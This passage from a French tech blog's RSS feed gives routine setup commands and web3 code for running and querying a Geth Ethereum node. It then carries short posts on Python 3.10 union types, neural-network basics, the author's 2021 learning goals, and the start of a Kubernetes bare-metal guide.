&lt;br/&gt;
&lt;h2 id=&#34;noeud-sur-rinkeby&#34;&gt;Noeud sur Rinkeby&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;With Docker&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;docker pull ethereum/client-go:latest
mkdir ~/.geth-rinkeby
docker run --name eth -p 8546:8546 -v ~/.geth-rinkeby:/geth -it \
           ethereum/client-go --rinkeby --ws --ipcdisable \
           --wsaddr 0.0.0.0 --wsorigins=&amp;#34;*&amp;#34; --datadir /geth
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Pour détacher le running container, sans le stopper, vous pouvez utiliser les commandes suivantes: &lt;code&gt;Ctrl + P, Ctrl + Q&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Si le container est stoppé, vous pouvez le relancer avec la commande suivante: &lt;code&gt;docker start -i eth&lt;/code&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Ce court article décrit comment faire tourner un noeud Ethereum sur n&rsquo;importe quel OS.</p>
<br/>
<h2 id="noeud-sur-rinkeby">Noeud sur Rinkeby</h2>
<p><strong>With Docker</strong></p>
<pre tabindex="0"><code>docker pull ethereum/client-go:latest
mkdir ~/.geth-rinkeby
docker run --name eth -p 8546:8546 -v ~/.geth-rinkeby:/geth -it \
           ethereum/client-go --rinkeby --ws --ipcdisable \
           --wsaddr 0.0.0.0 --wsorigins=&#34;*&#34; --datadir /geth
</code></pre><p>Pour détacher le running container, sans le stopper, vous pouvez utiliser les commandes suivantes: <code>Ctrl + P, Ctrl + Q</code></p>
<blockquote>
<p>Si le container est stoppé, vous pouvez le relancer avec la commande suivante: <code>docker start -i eth</code></p></blockquote>
<br/>
<p>Si vous avez un résultat similaire à ceci dans le terminal, vous êtes tout bon:</p>
<pre tabindex="0"><code>INFO [12-16|21:24:32.532] Block synchronisation started
INFO [12-16|21:24:32.589] Looking for peers                        peercount=1 tried=61 static=0
INFO [12-16|21:24:36.260] Imported new block headers               count=192 elapsed=52.722ms  number=192 hash=&#34;8c570c…ba360c&#34; age=3y8mo3w
INFO [12-16|21:24:36.262] Downloader queue stats                   receiptTasks=0 blockTasks=0 itemSize=639.74B throttle=8192
INFO [12-16|21:24:36.262] Migrated ancient blocks                  count=1   elapsed=&#34;111.458µs&#34;
INFO [12-16|21:24:36.283] Imported new block receipts              count=54  elapsed=20.916ms    number=54  hash=&#34;dafe6e…02bf13&#34; age=3y8mo3w size=34.33KiB
INFO [12-16|21:24:36.684] Imported new state entries               count=222 elapsed=&#34;4.869µs&#34;   processed=222 pending=3553 trieretry=0 coderetry=0 duplicate=0 unexpected=0
INFO [12-16|21:24:36.694] Imported new block receipts              count=138 elapsed=40.089ms    number=192 hash=&#34;8c570c…ba360c&#34; age=3y8mo3w size=86.38KiB
INFO [12-16|21:24:36.725] Imported new block headers               count=192 elapsed=77.269ms    number=384 hash=&#34;6d95fa…a59e49&#34; age=3y8mo3w
</code></pre><br/>
<p><strong>Without Docker</strong></p>
<pre tabindex="0"><code># Install Geth
sudo add-apt-repository -y ppa:ethereum/ethereum
sudo apt-get update
sudo apt-get install ethereum

# Verify Geth version
geth version-check

# Upgrade Geth
sudo apt-get upgrade geth
</code></pre><pre tabindex="0"><code>mkdir ~/.rinkeby-ethereum
geth --rinkeby --datadir ~/.rinkeby-ethereum  --syncmode &#34;fast&#34; --graphql --cache=2048 --maxpeers=128 --metrics --rpc --rpcapi &#34;eth,net,web3,personal,web3&#34; --rpcaddr &#34;0.0.0.0&#34; --rpcport 9545 --ws --ws.addr &#34;0.0.0.0&#34; --ws.port 9546
</code></pre><br/>
<p><strong>Run 2 nodes Rinkeby on the same machine</strong></p>
<pre tabindex="0"><code>mkdir ~/.rinkeby-ethereum-docker-ethereum-one
docker run --name ethereum-one-rinkeby \
           -p 8545:8545 -p 8546:8546 -p 30303:30303 \
           -v ~/.rinkeby-ethereum-docker-ethereum-one:/geth \
           ethereum/client-go --rinkeby --datadir /geth --graphql  --rpcapi &#34;eth,net,web3,personal,web3&#34; --rpcaddr &#34;0.0.0.0&#34; --ws --ws.addr &#34;0.0.0.0&#34; --syncmode &#34;fast&#34; 


mkdir ~/.rinkeby-ethereum-docker-ethereum-two
docker run --name ethereum-two-rinkeby \
           -p 9545:8545 -p 9546:8546 -p 30304:30303 \
           -v ~/.rinkeby-ethereum-docker-ethereum-two:/geth \
           ethereum/client-go --rinkeby --datadir /geth --graphql  --rpcapi &#34;eth,net,web3,personal,web3&#34; --rpcaddr &#34;0.0.0.0&#34; --ws --ws.addr &#34;0.0.0.0&#34; --syncmode &#34;fast&#34; 
</code></pre><br/>
<h2 id="mainnet">Mainnet</h2>
<p><strong>With Docker</strong></p>
<pre tabindex="0"><code>docker pull ethereum/client-go:latest
mkdir ~/.geth
docker run --name eth -p 8546:8546 -v ~/.geth:/geth -it \
           ethereum/client-go --syncmode fast --ws --ipcdisable \
           --wsaddr 0.0.0.0 --wsorigins=&#34;*&#34; --datadir /geth
</code></pre><br/>
<blockquote>
<p>Dev purpose below. Attention <code>--rpcaddr &quot;0.0.0.0&quot;</code> n&rsquo;est pas secure dans une environnement live</p></blockquote>
<pre tabindex="0"><code>mkdir -p ~/ethereum/data
cd ~/ethereum
sudo docker run --name geth -itd -p 8546:8546 -p 8545:8545 -p 30303:30303 -v data:/root/.ethereum ethereum/client-go:latest --rpc --rpcaddr &#34;0.0.0.0&#34;
sudo docker update --restart unless-stopped geth
sudo docker logs -f geth
</code></pre><br/>
<ul>
<li>8545 TCP: HTTP JSON RPC API</li>
<li>8546 TCP: WebSocket JSON RPC API</li>
<li>30303 TCP et UDP: P2P protocol running the network</li>
<li>30304 UDP: P2P protocol&rsquo;s new peer discovery overlay</li>
</ul>
<p><br/>
<br/></p>
<p><strong>Without Docker</strong></p>
<pre tabindex="0"><code>sudo add-apt-repository -y ppa:ethereum/ethereum
sudo apt-get update
sudo apt-get install ethereum
</code></pre><pre tabindex="0"><code>geth --syncmode &#34;fast&#34;
# Pour un récupérer un testnet
# geth --ropsten --syncmode &#34;fast&#34; 

geth --syncmode &#34;fast&#34; --graphql --cache=2048 --maxpeers=128 --metrics --rpc --rpcapi &#34;eth,net,web3,personal,web3&#34; --rpcaddr &#34;0.0.0.0&#34; --rpcport 8545 --ws --ws.addr &#34;0.0.0.0&#34; --ws.port 8546

# --rpcvhosts &#34;geth.domain.com&#34;
</code></pre><br/>
<p>&ldquo;Full&rdquo; Sync: Récupère les block headers, les block bodies et valide chaque élément depuis le block genesis.</p>
<p>Fast Sync: Récupère les block headers, les block bodies, et ne process que les transactions à partir du block actuel - 64. Ensuite il récupère un snapshot state et réalise une sorte synchronization  full.</p>
<p>Light Sync: Ne récupère que le current state. Pour vérifier les éléments, il a besoin de demander aux full (archive) nodes les 3 feuilles correspondantes.</p>
<blockquote>
<p>Dans les dernières version de Geth <code>- 64</code> est paramétrable avec le paramètre <code>fsMinFullBlocks</code>.</p></blockquote>
<br/>
<p><strong>Vérifier l&rsquo;état de synchronisation</strong></p>
<pre tabindex="0"><code>geth attach
eth.syncing
eth.blockNumber
</code></pre><br/>
<p><strong>Se connecter à son noeud local via Javascript</strong></p>
<pre tabindex="0"><code># Installer NVM
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.38.0/install.sh | bash
echo &#34;export NVM_NODEJS_ORG_MIRROR=http://nodejs.org/dist&#34; &gt;&gt; ~/.bashrc
source ~/.bashrc
nvm ls-remote

# Installer NodeJS
nvm install v12.22.0
nvm use v12.22.0
nvm use default v12.22.0

# Installer Web3
npm install web3 --save
</code></pre><br/>
<p>Créer un fichier <code>test.js</code> et ajouter le contenu suivant:</p>
<pre tabindex="0"><code>const Web3 = require(&#34;web3&#34;)
//const web3 = new Web3(&#34;https://cloudflare-eth.com&#34;)
const web3 = new Web3(&#34;http://localhost:8545&#34;)

/*
web3.eth.isSyncing((error, sync) =&gt; {
  if (!error &amp;&amp; sync) {
    console.log(sync.currentBlock);
    console.log(sync.highestBlock);
  }
});
*/

async function getBlockNumber() {
  const latestBlockNumber = await web3.eth.getBlockNumber()
  console.log(latestBlockNumber)
  return latestBlockNumber
}
getBlockNumber()
</code></pre><p>Exécuter la commande suivante <code>node test.js</code></p>
<br/>
<p><strong>Lire les informations d&rsquo;un Smart Contract (CALL)</strong></p>
<p>Ajouter le code suivant avant de relancer la commande <code>node test.js</code>:</p>
<pre tabindex="0"><code>const ERC20TransferABI = [
  {
    constant: false,
    inputs: [
      {
        name: &#34;_to&#34;,
        type: &#34;address&#34;,
      },
      {
        name: &#34;_value&#34;,
        type: &#34;uint256&#34;,
      },
    ],
    name: &#34;transfer&#34;,
    outputs: [
      {
        name: &#34;&#34;,
        type: &#34;bool&#34;,
      },
    ],
    payable: false,
    stateMutability: &#34;nonpayable&#34;,
    type: &#34;function&#34;,
  },
  {
    constant: true,
    inputs: [
      {
        name: &#34;_owner&#34;,
        type: &#34;address&#34;,
      },
    ],
    name: &#34;balanceOf&#34;,
    outputs: [
      {
        name: &#34;balance&#34;,
        type: &#34;uint256&#34;,
      },
    ],
    payable: false,
    stateMutability: &#34;view&#34;,
    type: &#34;function&#34;,
  },
]
const DAI_ADDRESS = &#34;0x6b175474e89094c44da98b954eedeac495271d0f&#34;
const daiToken = new web3.eth.Contract(ERC20TransferABI, DAI_ADDRESS)
const senderAddress = &#34;0x8bfb847d85b7bde4596888ae08fa7863752ffcf6&#34;
daiToken.methods.balanceOf(senderAddress).call(function (err, res) {
  if (err) {
    console.log(&#34;An error occured&#34;, err)
    return
  }
  console.log(&#34;The balance is: &#34;, res)
})
</code></pre><br/>
<p>Output:</p>
<p>12154947
The balance is:  12558880673328618209762</p>
<p>Adresse prise au hasard sur Etherscan.
Cela correspond à environ 12,558.880673328618209762 DAI</p>
<br/>
<p><strong>La même chose en Python</strong></p>
<pre tabindex="0"><code>sudo apt-get install python3-dev
sudo update-alternatives --install /usr/bin/python python /usr/bin/python3 1
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
sudo python get-pip.py
sudo apt install ipython3
pip install web3
pip install &#39;web3[tester]&#39;
python -m ipython
In [1]: from web3 import Web3
In [2]: Web3.toWei(1, &#39;ether&#39;)
Out[2]: 1000000000000000000
In [3]: Web3.fromWei(500000000, &#39;gwei&#39;)
Out[3]: Decimal(&#39;0.5&#39;)
#In [4]: w3 = Web3(Web3.EthereumTesterProvider())
In [4]: w3 = Web3(Web3.HTTPProvider(&#39;http://127.0.0.1:8545&#39;))
In [5]: w3.isConnected()
Out[5]: True
In [6]: w3.eth.getBlock(&#39;latest&#39;)
Out[6]:
AttributeDict({&#39;difficulty&#39;: 17179869184,
 &#39;extraData&#39;: HexBytes(&#39;0x11bbe8db4e347b4e8c937c1c8370e4b5ed33adb3db69cbdb7a38e1e50b1b82fa&#39;),
 &#39;gasLimit&#39;: 5000,
 &#39;gasUsed&#39;: 0,
 &#39;hash&#39;: HexBytes(&#39;0xd4e56740f876aef8c010b86a40d5f56745a118d0906a34e69aec8c0db1cb8fa3&#39;),
 &#39;logsBloom&#39;: HexBytes(&#39;0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000&#39;),
 &#39;miner&#39;: &#39;0x0000000000000000000000000000000000000000&#39;,
 &#39;mixHash&#39;: HexBytes(&#39;0x0000000000000000000000000000000000000000000000000000000000000000&#39;),
 &#39;nonce&#39;: HexBytes(&#39;0x0000000000000042&#39;),
 &#39;number&#39;: 0,
 &#39;parentHash&#39;: HexBytes(&#39;0x0000000000000000000000000000000000000000000000000000000000000000&#39;),
 &#39;receiptsRoot&#39;: HexBytes(&#39;0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421&#39;),
 &#39;sha3Uncles&#39;: HexBytes(&#39;0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347&#39;),
 &#39;size&#39;: 540,
 &#39;stateRoot&#39;: HexBytes(&#39;0xd7f8974fb5ac78d9ac099b9ad5018bedc2ce0a72dad1827a1709da30580f0544&#39;),
 &#39;timestamp&#39;: 0,
 &#39;totalDifficulty&#39;: 17179869184,
 &#39;transactions&#39;: [],
 &#39;transactionsRoot&#39;: HexBytes(&#39;0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421&#39;),
 &#39;uncles&#39;: []})
In [7]: w3.eth.get_block(12345)
Out[7]:
AttributeDict({&#39;difficulty&#39;: 735512610763,
 &#39;extraData&#39;: HexBytes(&#39;0x476574682f76312e302e302f6c696e75782f676f312e342e32&#39;),
 &#39;gasLimit&#39;: 5000,
 &#39;gasUsed&#39;: 0,
 &#39;hash&#39;: HexBytes(&#39;0x767c2bfb3bdee3f78676c1285cd757bcd5d8c272cef2eb30d9733800a78c0b6d&#39;),
 &#39;logsBloom&#39;: HexBytes(&#39;0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000&#39;),
 &#39;miner&#39;: &#39;0xad5C1768e5974C231b2148169da064e61910f31a&#39;,
 &#39;mixHash&#39;: HexBytes(&#39;0x31d9ec7e3855aeba37fd92aa1639845e70b360a60f77f12eff530429ef8cfcba&#39;),
 &#39;nonce&#39;: HexBytes(&#39;0x549f882c5f356f85&#39;),
 &#39;number&#39;: 12345,
 &#39;parentHash&#39;: HexBytes(&#39;0x4b3c1d7e65a507b62734feca1ee9f27a5379e318bd52ae62de7ba67dbeac66a3&#39;),
 &#39;receiptsRoot&#39;: HexBytes(&#39;0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421&#39;),
 &#39;sha3Uncles&#39;: HexBytes(&#39;0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347&#39;),
 &#39;size&#39;: 539,
 &#39;stateRoot&#39;: HexBytes(&#39;0xca495e22ed6b88c61714d129dbc8c94f5bf966ac581c09a57c0a72d0e55e7286&#39;),
 &#39;timestamp&#39;: 1438367030,
 &#39;totalDifficulty&#39;: 3862140487204603,
 &#39;transactions&#39;: [],
 &#39;transactionsRoot&#39;: HexBytes(&#39;0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421&#39;),
 &#39;uncles&#39;: []})
In [8]: w3.eth.get_balance(&#39;0x742d35Cc6634C0532925a3b844Bc454e4438f44e&#39;)
Out [8]: 0
</code></pre><br/>
<p>Voilà, nous avons vu comment démarrer un noeud Ethereum sur différents réseaux et comment nous y connecter via du code JS ou du code Python. Nous verrons dans un prochain article comment suivre les changements dans des Smart Contracts avec des WebSockets.</p>
<br/>
<h2 id="monitoring">Monitoring</h2>
<p>Je vous recommande d&rsquo;installer une solution de monitoring comme Grafana InfluxDB pour monitorer et avoir de l&rsquo;alerting sur votre noeud.</p>
<p><img src="/images/ethereum-node-monitoring.png" alt="image"></p>
<p>Il faudra alors démarrer Geth avec les flags suivants: <code>--metrics --metrics.influxdb --metrics.influxdb.endpoint &quot;http://0.0.0.0:8086&quot; --metrics.influxdb.username &quot;&quot; --metrics.influxdb.password &quot;&quot;</code></p>
<br/>
<h2 id="troubleshooting">Troubleshooting</h2>
<p><code>Checkpoint challenge timed out, dropping</code>: Start a timer to disconnect if the peer doesn&rsquo;t reply in time (cf. <a href="https://github.com/ethereum/go-ethereum/blob/master/eth/handler.go">https://github.com/ethereum/go-ethereum/blob/master/eth/handler.go</a>)</p>
<p><code>snapshot extension registration failed geth</code>: Geth client is probably outdated</p>
<p><code>Imported new chain segment</code>: means geth has downloaded some amount of blocks to be added to the chain. <strong>Look at <code>age</code> key to figure out the remaining quantity of blocks to download</strong></p>
<p><code>Invalid merkle root</code>: Geth is certainly outdated. Just upgrade it (worked for me for 1.10.7 -&gt; 1.10.8)</p>
]]></content>
        </item>
        
        <item>
            <title>Fonctions avec plusieurs types en Python 3.10</title>
            <link>https://leandeep.com/fonctions-avec-plusieurs-types-en-python-3.10/</link>
            <pubDate>Tue, 08 Dec 2020 21:01:00 +0000</pubDate>
            
            <guid>https://leandeep.com/fonctions-avec-plusieurs-types-en-python-3.10/</guid>
            <description>&lt;p&gt;Python 3.10, sorti officiellement le 04 octobre 2021, permet d&amp;rsquo;écrire de manière plus lisible les différentes types que peuvent prendre les arguments et données retournées par les fonctions.&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;Example pour une fonction qui prend un argument de type &lt;code&gt;int&lt;/code&gt; ou &lt;code&gt;str&lt;/code&gt; et qui retourne un objet de type &lt;code&gt;int&lt;/code&gt; ou &lt;code&gt;str&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;def ma_fonction(argument: int | str) -&amp;gt; int | str:
	pass
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;On utilise le caractère: &lt;code&gt;|&lt;/code&gt;.&lt;/strong&gt;&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;Avant, de Python 3.5 à 3.9, il fallait utiliser &lt;code&gt;Union&lt;/code&gt; du package &lt;code&gt;typing&lt;/code&gt;:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Python 3.10, sorti officiellement le 04 octobre 2021, permet d&rsquo;écrire de manière plus lisible les différentes types que peuvent prendre les arguments et données retournées par les fonctions.</p>
<br/>
<p>Example pour une fonction qui prend un argument de type <code>int</code> ou <code>str</code> et qui retourne un objet de type <code>int</code> ou <code>str</code>:</p>
<pre tabindex="0"><code>def ma_fonction(argument: int | str) -&gt; int | str:
	pass
</code></pre><p><strong>On utilise le caractère: <code>|</code>.</strong></p>
<br/>
<p>Avant, de Python 3.5 à 3.9, il fallait utiliser <code>Union</code> du package <code>typing</code>:</p>
<pre tabindex="0"><code>from typing import Union
def ma_fonction(argument: Union[int, str]) -&gt; Union[int, str]:
	pass
</code></pre><blockquote>
<p>Si la fonction peut retourner None et un autre type comme <code>int</code> par example, on continue à utiliser <code>Optional[int]</code></p></blockquote>
]]></content>
        </item>
        
        <item>
            <title>Calculs dans un réseau de neurones</title>
            <link>https://leandeep.com/calculs-dans-un-r%C3%A9seau-de-neurones/</link>
            <pubDate>Wed, 02 Dec 2020 23:52:00 +0000</pubDate>
            
            <guid>https://leandeep.com/calculs-dans-un-r%C3%A9seau-de-neurones/</guid>
            <description>&lt;p&gt;Voici les 5 concepts de base d&amp;rsquo;un réseau de neurones.&lt;/p&gt;
&lt;p&gt;Finalement un réseau de neurones n&amp;rsquo;est qu&amp;rsquo;une combinaison linéaire de fonctions non-linéaires.&lt;/p&gt;
&lt;p&gt;Les calculs sont finalement très simples.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://leandeep.com/images/reseau-neurones-sketch.png&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://leandeep.com/images/fonction-activation-sketch.png&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://leandeep.com/images/fonction-erreur-sketch.png&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://leandeep.com/images/forward-propagation-sketch.png&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://leandeep.com/images/backpropagation-sketch.png&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Voici les 5 concepts de base d&rsquo;un réseau de neurones.</p>
<p>Finalement un réseau de neurones n&rsquo;est qu&rsquo;une combinaison linéaire de fonctions non-linéaires.</p>
<p>Les calculs sont finalement très simples.</p>
<p><img src="/images/reseau-neurones-sketch.png" alt="image"></p>
<p><img src="/images/fonction-activation-sketch.png" alt="image"></p>
<p><img src="/images/fonction-erreur-sketch.png" alt="image"></p>
<p><img src="/images/forward-propagation-sketch.png" alt="image"></p>
<p><img src="/images/backpropagation-sketch.png" alt="image"></p>
]]></content>
        </item>
        
        <item>
            <title>Et vous quels sont vos projets pour 2021 ?</title>
            <link>https://leandeep.com/et-vous-quels-sont-vos-projets-pour-2021/</link>
            <pubDate>Tue, 01 Dec 2020 07:00:00 +0200</pubDate>
            
            <guid>https://leandeep.com/et-vous-quels-sont-vos-projets-pour-2021/</guid>
            <description>&lt;p&gt;Chaque année, j&amp;rsquo;aime me fixer des objectifs professionnels &lt;strong&gt;en supplément de&lt;/strong&gt; mon activité principale. Ne pas mettre tous mes oeufs dans le même panier et surtout apprendre de nouvelles choses m&amp;rsquo;anime totalement. C&amp;rsquo;est d&amp;rsquo;ailleurs ce que j&amp;rsquo;aime dans mon métier, la nouveauté.
Je me fixe ce genre d&amp;rsquo;objectifs depuis quelques années déjà, mais c&amp;rsquo;est la première fois que je les communique. &lt;em&gt;Je suis ouvert aux synergies pour les projets &lt;code&gt;5.7.&lt;/code&gt;, &lt;code&gt;5.8.&lt;/code&gt;, &lt;code&gt;10.&lt;/code&gt; et &lt;code&gt;15.&lt;/code&gt;. N&amp;rsquo;hésitez pas à me contacter sur Linkedin en privé.&lt;/em&gt;
&lt;br/&gt;
Voici donc mon programme pour l&amp;rsquo;année 2021.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Chaque année, j&rsquo;aime me fixer des objectifs professionnels <strong>en supplément de</strong> mon activité principale. Ne pas mettre tous mes oeufs dans le même panier et surtout apprendre de nouvelles choses m&rsquo;anime totalement. C&rsquo;est d&rsquo;ailleurs ce que j&rsquo;aime dans mon métier, la nouveauté.
Je me fixe ce genre d&rsquo;objectifs depuis quelques années déjà, mais c&rsquo;est la première fois que je les communique. <em>Je suis ouvert aux synergies pour les projets <code>5.7.</code>, <code>5.8.</code>, <code>10.</code> et <code>15.</code>. N&rsquo;hésitez pas à me contacter sur Linkedin en privé.</em>
<br/>
Voici donc mon programme pour l&rsquo;année 2021.</p>
<br/>
<p><strong>1. Finir spécialisation en Machine Learning et Reinforcement Learning pour la Finance commencée en 2020</strong></p>
<ul>
<li>A beast 🤩! with applied project</li>
</ul>
<p><strong>2. Apprendre le Rust</strong></p>
<ul>
<li>Ou plutôt commencer à apprendre le Rust. On ne peut pas connaître toutes les subtilités d&rsquo;un langage en seulement un an; surtout si on ne le pratique pas au quotidien.</li>
<li>Lire ce livre pour commencer: <a href="https://doc.rust-lang.org/book/title-page.html">https://doc.rust-lang.org/book/title-page.html</a>
ou suivre ce cours en ligne: <a href="https://www.manning.com/livevideo/rust-in-motion">https://www.manning.com/livevideo/rust-in-motion</a></li>
<li>Développer un utilitaire système (simple) opensource</li>
<li>Trading bot opportunity validation &ldquo;Sanity checks&rdquo; en Rust</li>
</ul>
<p><strong>3. Ecrire (enfin) des articles sur l&rsquo;inférence de modèles Deep learning dans le navigateur</strong></p>
<ul>
<li>Déveloper une app demo avec plusieurs modèles</li>
<li>Parler de l&rsquo;entrainement et de différents modèles plus ou moins optimisés</li>
</ul>
<p><strong>4. Ecrire un article sur le framework Mediapipe</strong></p>
<ul>
<li>Montrer comment l&rsquo;utiliser et comment importer des modèles 3D sur Android</li>
</ul>
<p><strong>5. Déveloper mes compétences en trading et trader 🚀</strong></p>
<ul>
<li>5.1. Trading avec analyse technique sur indice GER30 en scalping avec Ichimoku</li>
<li>5.2. Finir le dernier livre Ichimoku de Karen P.</li>
<li>5.3. Lire livre sur les chandeliers japonais de Stephen B.</li>
<li>5.4. Trading avec analyse technique sur marché crypto avec Ichimoku et indicateurs classiques</li>
<li>5.5. 1 jour de formation pro Ichimoku (attente fin de Covid)</li>
<li>5.6. Continuer à déveloper mon trading Bot et atteindre mon objectif cible de rentabilité par mois <strong>(Focus max. Objectif prio. #1)</strong></li>
<li>5.7. Profiter des opportunités DeFi pour avoir un rendement supérieur au livret A (private joke) sur au moins 3 axes différents.</li>
<li>5.8. Créer un dashboard de suivi, tooling shortcuts et de pilotage</li>
<li>5.9. Suivi hebdo des analyses de marché Doji☆</li>
<li>5.10. Leverage new skills from 1. (si cela fait sens)</li>
<li>5.11. Ecrire des articles</li>
<li>5.12. Lire livre finance décentralisée</li>
</ul>
<p><strong>6. Ecrire quelques tips sur le data wrangling</strong></p>
<p><strong>7. Ecrire des articles sur l&rsquo;architecture de la blockchain (Objectif prio. #2)</strong></p>
<ul>
<li>Création de sa propre blockchain (simple)</li>
<li>Présenter les couches?</li>
<li>Parler de cryptography?</li>
</ul>
<p><strong>8. Ecrire des articles sur le Cloud/ Devops quand l&rsquo;occasion se présente</strong></p>
<p><strong>9. Installer un router Pfsense et &ldquo;blinder&rdquo; mon réseau</strong></p>
<ul>
<li>Configurer mon cluster Kubernetes pour qu&rsquo;il utilise Pfsense comme load balancer (cf. <a href="https://leandeep.com/installer-un-cluster-kubernetes-sur-baremetal-avec-metallb-et-rancher-2/">https://leandeep.com/installer-un-cluster-kubernetes-sur-baremetal-avec-metallb-et-rancher-2/</a>)</li>
</ul>
<p><strong>10. Mini jardin vertical hydroponique connecté</strong></p>
<ul>
<li>Utilisation de la technologie LoRaWAN sur Pi zero (cf. <a href="https://www.framboise314.fr/mise-en-place-dune-passerelle-et-dun-noeud-lora/">https://www.framboise314.fr/mise-en-place-dune-passerelle-et-dun-noeud-lora/</a>)</li>
<li>Mise en place de sensors (cf. <a href="http://eirlab.net/tiki-index.php?page=hydroponie">http://eirlab.net/tiki-index.php?page=hydroponie</a>)</li>
<li>Alimentation d&rsquo;une DB timeseries en Rust</li>
<li>Python dataviz sur timerseries</li>
</ul>
<p><strong>11. Amélioration de mon home lab</strong></p>
<ul>
<li>Training Deep Learning via Kubernetes
<ul>
<li>Kubeflow ou autre solution</li>
</ul>
</li>
<li>Alerting (Notification Web + physique avec une ampoule connectée Wifi):
<ul>
<li>Machine Learning training done</li>
<li>Pods KO</li>
</ul>
</li>
<li>Kubernetes PVC depuis NAS</li>
<li>Kubernetes failover worker node -&gt; out of office behind 2 internet connections: optical fiber + 4g fallback for 5. (ideally 2 new nodes? One in China for exchanges over there?)</li>
</ul>
<p><strong>12. Booster mes compétences en sécurité</strong></p>
<ul>
<li>Lire (enfin) les deux livres qui trainent dans mon Kindle: Red teams et Pentesting</li>
<li>Be sharp on this subject. La sécurité devient un enjeux majeur sur les sujets DeFI. Les pertes peuvent parfois être énormes. Par exemple:
<ul>
<li>$ 2 millions volés sur <a href="https://akropolis.io/">https://akropolis.io/</a> malgré plusieurs audits</li>
<li>$ 500 000 volés 2h après le lancement de <a href="https://axion.network/">https://axion.network/</a> malgré plusieurs audits</li>
</ul>
</li>
</ul>
<p><strong>13. Apprendre et utiliser en prod GraphQL</strong></p>
<ul>
<li><a href="https://graphql.org/learn/">https://graphql.org/learn/</a></li>
<li>A utiliser dans projet arbitrage 5. en Python</li>
<li>A utiliser dans projet 10. en Rust</li>
<li>GraphQL in production avec The Graph project ?</li>
</ul>
<p><strong>14. Suivre le nouveau cours officiel de Yann Le Cun sur Deep Learning (15 weeks)</strong></p>
<ul>
<li>Another beast 🤩! <strong>(Objectif prio. #3)</strong></li>
</ul>
<p><strong>15. (Bonus) Formation(s) présentielles</strong></p>
<ul>
<li>Etude de marché formation(s) autour de la finance (+ DeFi?) avec Python (et/ou avec du Machine Learning avancé?)</li>
</ul>
<p><strong>16. (Bonus) Passer 1 certification Data Scientist chez Azure ou GCP</strong></p>
<ul>
<li>En 2017, j&rsquo;en ai passé 6 et je ne sais pas si cela était réellement utile. Est-ce qu&rsquo;on regarde encore les diplômes ou certifs?</li>
<li>Juste pour le plaisir d&rsquo;avoir un nouveau badge avec des étoiles</li>
</ul>
<p><br/>
<br/>
Je m&rsquo;arrête là, 14 sujets (+2 bonus) pour 12 mois, c&rsquo;est suffisant. Ce n&rsquo;est pas l&rsquo;envi qui m&rsquo;en manque d&rsquo;ajouter des sujets mais il faut rester réaliste. Et vous qu&rsquo;avez-vous prévu d&rsquo;apprendre l&rsquo;année prochaine ?</p>
]]></content>
        </item>
        
        <item>
            <title>Installer un cluster Kubernetes sur baremetal avec metalLB et Rancher 2</title>
            <link>https://leandeep.com/installer-un-cluster-kubernetes-sur-baremetal-avec-metallb-et-rancher-2/</link>
            <pubDate>Thu, 19 Nov 2020 23:12:00 +0200</pubDate>
            
            <guid>https://leandeep.com/installer-un-cluster-kubernetes-sur-baremetal-avec-metallb-et-rancher-2/</guid>
            <description>&lt;p&gt;Dans cet article, nous allons voir comment installer un cluster Kubernetes sur un ou plusieurs noeuds &amp;ldquo;physiques&amp;rdquo;. On est sur de l&amp;rsquo;auto-hébergement. MetalLB sera utilisé pour remplacer les load balancers des &amp;ldquo;clouders&amp;rdquo;. MetalLB est une implémentation de Load Balancer pour les clusters Kubernetes Bare Metal, utilisant des protocoles de routage standard.
Rancher 2 sera également utilisé. On aurait pu utiliser kubeadm mais cette solution nous simplifie clairement la vie.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;pré-requis&#34;&gt;Pré-requis&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Docker&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;h2 id=&#34;lancer-rancher-2-via-docker&#34;&gt;Lancer Rancher 2 via Docker&lt;/h2&gt;
